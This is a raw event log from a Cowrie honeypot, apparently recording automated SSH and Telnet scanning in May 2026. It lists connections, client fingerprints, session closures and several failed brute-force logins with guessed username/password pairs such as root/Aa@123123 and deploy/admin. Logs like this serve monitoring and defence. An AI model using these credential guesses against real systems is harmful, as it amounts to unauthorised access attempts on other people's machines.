{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:03.499794Z","src_ip":"43.128.86.117","session":"ec887ecf2d01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.99383020401001,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:03.546889Z","src_ip":"152.42.224.71","session":"c25424fe51ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:03.574478Z","src_ip":"45.156.87.204","session":"15f33f3d02df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:03.732937Z","src_ip":"43.128.86.117","session":"ec887ecf2d01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":53156,"dst_ip":"159.203.135.109","dst_port":22,"session":"595e59de1188","protocol":"ssh","message":"New connection: 119.28.114.76:53156 (159.203.135.109:22) [session: 595e59de1188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:04.364326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:04.377587Z","src_ip":"119.28.114.76","session":"595e59de1188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:04.624303Z","src_ip":"119.28.114.76","session":"595e59de1188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo1234","message":"login attempt [demo/demo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:04.685423Z","src_ip":"43.128.86.117","session":"ec887ecf2d01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42168,"dst_ip":"10.17.0.5","dst_port":23,"session":"b28f78ec5382","protocol":"telnet","message":"New connection: 152.42.224.71:42168 (10.17.0.5:23) [session: b28f78ec5382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:05.123036Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52100,"dst_ip":"159.203.135.109","dst_port":22,"session":"458cba90385c","protocol":"ssh","message":"New connection: 45.156.87.204:52100 (159.203.135.109:22) [session: 458cba90385c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:05.585529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:05.591069Z","src_ip":"45.156.87.204","session":"458cba90385c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123123","message":"login attempt [root/Aa@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:05.643237Z","src_ip":"119.28.114.76","session":"595e59de1188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:05.681305Z","src_ip":"45.156.87.204","session":"458cba90385c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:05.936139Z","src_ip":"45.156.87.204","session":"458cba90385c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:05.940459Z","src_ip":"43.128.86.117","session":"ec887ecf2d01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":42048,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bdad50fb1ec","protocol":"ssh","message":"New connection: 103.77.175.15:42048 (159.203.135.109:22) [session: 6bdad50fb1ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:06.777951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:06.783156Z","src_ip":"103.77.175.15","session":"6bdad50fb1ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:06.893384Z","src_ip":"119.28.114.76","session":"595e59de1188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:07.022124Z","src_ip":"45.156.87.204","session":"458cba90385c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:07.045863Z","src_ip":"103.77.175.15","session":"6bdad50fb1ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43102,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cdb7a2e9f62","protocol":"telnet","message":"New connection: 152.42.224.71:43102 (10.17.0.5:23) [session: 9cdb7a2e9f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:07.811118Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"samara","message":"login attempt [root/samara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:07.830232Z","src_ip":"103.77.175.15","session":"6bdad50fb1ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":15604,"dst_ip":"159.203.135.109","dst_port":22,"session":"f809d475bab2","protocol":"ssh","message":"New connection: 94.26.106.229:15604 (159.203.135.109:22) [session: f809d475bab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:08.068838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:08.076236Z","src_ip":"94.26.106.229","session":"f809d475bab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:08.164450Z","src_ip":"94.26.106.229","session":"f809d475bab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcc","password":"mcc","message":"login attempt [mcc/mcc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:08.432555Z","src_ip":"94.26.106.229","session":"f809d475bab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00134515762329,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:08.822533Z","src_ip":"152.42.224.71","session":"35c961ba0f97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:09.092893Z","src_ip":"103.77.175.15","session":"6bdad50fb1ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43118,"dst_ip":"10.17.0.5","dst_port":23,"session":"57404a73351b","protocol":"telnet","message":"New connection: 152.42.224.71:43118 (10.17.0.5:23) [session: 57404a73351b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:09.404213Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:09.522633Z","src_ip":"94.26.106.229","session":"f809d475bab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52116,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cdeeb5c515b","protocol":"ssh","message":"New connection: 45.156.87.204:52116 (159.203.135.109:22) [session: 6cdeeb5c515b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:09.603483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:09.609637Z","src_ip":"45.156.87.204","session":"6cdeeb5c515b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:09.692349Z","src_ip":"45.156.87.204","session":"6cdeeb5c515b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:09.941279Z","src_ip":"45.156.87.204","session":"6cdeeb5c515b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:11.027671Z","src_ip":"45.156.87.204","session":"6cdeeb5c515b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":15644,"dst_ip":"159.203.135.109","dst_port":22,"session":"74eba0ea5abf","protocol":"ssh","message":"New connection: 94.26.106.229:15644 (159.203.135.109:22) [session: 74eba0ea5abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:12.269345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:12.274651Z","src_ip":"94.26.106.229","session":"74eba0ea5abf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:12.363084Z","src_ip":"94.26.106.229","session":"74eba0ea5abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"P@ssw0rd","message":"login attempt [ftpadmin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:12.628807Z","src_ip":"94.26.106.229","session":"74eba0ea5abf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41288,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf6d3a1687ab","protocol":"ssh","message":"New connection: 45.156.87.204:41288 (159.203.135.109:22) [session: bf6d3a1687ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:13.107348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:13.112038Z","src_ip":"45.156.87.204","session":"bf6d3a1687ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:13.194796Z","src_ip":"45.156.87.204","session":"bf6d3a1687ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.710723876953125,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:13.273612Z","src_ip":"152.42.224.71","session":"aff84924acf9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:13.448979Z","src_ip":"45.156.87.204","session":"bf6d3a1687ab","protocol":"ssh"}
